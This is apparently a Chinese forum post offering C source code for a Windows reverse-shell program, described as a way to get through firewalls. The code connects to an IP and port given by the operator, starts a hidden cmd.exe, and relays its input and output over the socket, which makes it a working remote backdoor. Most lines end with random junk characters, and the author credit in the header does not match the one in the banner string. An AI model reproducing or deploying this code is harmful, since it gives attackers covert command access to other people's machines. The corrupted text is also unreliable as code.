这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 d+iR/Ssc
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/* ============================== <*H^(0
Rebound port in Windows NT uR6w|e`
By wind,2006/7 t]1ubt2W
===============================*/ T2?HRx
#include f^e6<5gdf
#include ^5=UK7e5KY
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#pragma comment(lib,"wsock32.lib") $V6^G*Q
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void OutputShell(); weMww,: ^[
SOCKET sClient; HEqWoV]{d
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; K7I&sS^x
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void main(int argc,char **argv) ;evCW$G=
{ mxwdugr`
WSADATA stWsaData; "HM{b?N
int nRet; u!N{y,7W)
SOCKADDR_IN stSaiClient,stSaiServer; h06ku2Q
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if(argc != 3) v;y0jD#b
{ nD"~?*Lt
printf("Useage:\n\rRebound DestIP DestPort\n"); V@=V5bZLs
return; %,b X/!
} 4"\yf
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WSAStartup(MAKEWORD(2,2),&stWsaData); e2$]g>
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); gM;}#>6
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stSaiClient.sin_family = AF_INET; 09M;}4ev&7
stSaiClient.sin_port = htons(0); o7&4G$FX~
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Jeqxspn
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) -U2mfW
{ /7$mxtB5%L
printf("Bind Socket Failed!\n"); 47 u@4"M
return; &;H{cv`
} Iy
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stSaiServer.sin_family = AF_INET; dTEJ=d40
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 5T4"j;_.BL
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); jj\ [7 O*
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) KiLvI,9y
{ ^c9ThV.v
printf("Connect Error!"); J."{<&
return; fUag1d
} Tc
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OutputShell(); w'Z!;4E0
} )&W|QH=AI
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void OutputShell() dhRJg"vrQ
{ 7INk_2
char szBuff[1024]; ^[h2% c$
SECURITY_ATTRIBUTES stSecurityAttributes; c|wCKn}`
OSVERSIONINFO stOsversionInfo; EiV=RdL
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; j.-VJo)
STARTUPINFO stStartupInfo; <D /a l9
char *szShell; ucg$Ed
PROCESS_INFORMATION stProcessInformation; 1q~LA[6
unsigned long lBytesRead; t\5c@j p
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); %u]6KrG18b
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); RJJ1
stSecurityAttributes.lpSecurityDescriptor = 0; #!!AbuhzK{
stSecurityAttributes.bInheritHandle = TRUE; }(i(Ar-
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 'ND36jHcRD
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); FuP}Kec
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); #0MK(Ut/
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; qR,.W/eS8
stStartupInfo.wShowWindow = SW_HIDE; *M!kA65'
stStartupInfo.hStdInput = hReadPipe; |n P_<9[
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; P!\hnm)%4
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GetVersionEx(&stOsversionInfo); I{n;4?
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switch(stOsversionInfo.dwPlatformId) p?myuNd[
{ q@ Kk\m
case 1: o<4D=.g7D
szShell = "command.com"; y/4ny,s"
break; WEa>)@
default: Md9l+[@
szShell = "cmd.exe"; CV^0.
break; vnsSy 33K
} (DJvi6\H
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ' Js?N
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send(sClient,szMsg,77,0); CM 9P"-
while(1) J~J@ ]5/
{ 7Jx%JgF
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); )*[
""&
if(lBytesRead) AUAI3K?
{ O<`R~
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); &telCg:
send(sClient,szBuff,lBytesRead,0); _om[VKJd
} S[U/qO)m
else D9^7m
j?e
{ GoeIjuELR
lBytesRead=recv(sClient,szBuff,1024,0); *( *z|2
if(lBytesRead<=0) break; 7Dl%UG]
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); <ZrFOb
} hPPB45^
} aF])"9
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return; ]C)|+`XE@
}